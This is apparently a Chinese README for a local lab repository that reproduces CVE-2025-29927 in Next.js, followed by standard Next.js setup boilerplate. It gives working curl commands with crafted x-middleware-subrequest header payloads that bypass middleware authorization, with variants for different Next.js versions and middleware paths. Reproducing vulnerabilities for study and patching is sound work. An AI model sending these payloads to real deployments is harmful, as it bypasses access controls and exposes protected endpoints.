本仓库是对 next 包中 CVE-2025-29927 漏洞的复现。
/api/hello 端点$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
middleware 嵌套 5 次放入特殊的 x-middleware-subrequest 请求头中,也可以绕过授权:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
Next.js 12 和 13 版本过去对中间件文件(_middleware.js)采用不同的命名约定,在 Next.js 14 中已更改为 middleware.js。通过使用 _middleware.js 文件,可以在旧版本中利用此漏洞。
例如,根据 Next.js 版本和路由约定,以下 payload 将适用:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (适用于 Next.js 12.2 版本,且 middleware.js 文件位于应用根目录(不在 pages 目录内))curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (适用于 Next.js 11 至 12.2 版本)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/hello首先,运行开发服务器:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
在浏览器中打开 http://localhost:3000 以查看结果。
你可以通过修改 app/page.js 来开始编辑页面。当你编辑文件时,页面会自动更新。
此项目使用 next/font 自动优化和加载 Geist,这是一个适用于 Vercel 的新字体系列。
要了解更多关于 Next.js 的信息,请查看以下资源:
你可以查看 Next.js GitHub 仓库 - 欢迎提供反馈和贡献!
部署你的 Next.js 应用最简单的方法是使用由 Next.js 创建者提供的 Vercel 平台。
请查看我们的 Next.js 部署文档 了解更多详情。
请查阅 CONTRIBUTING 了解有关为本项目做出贡献的指南。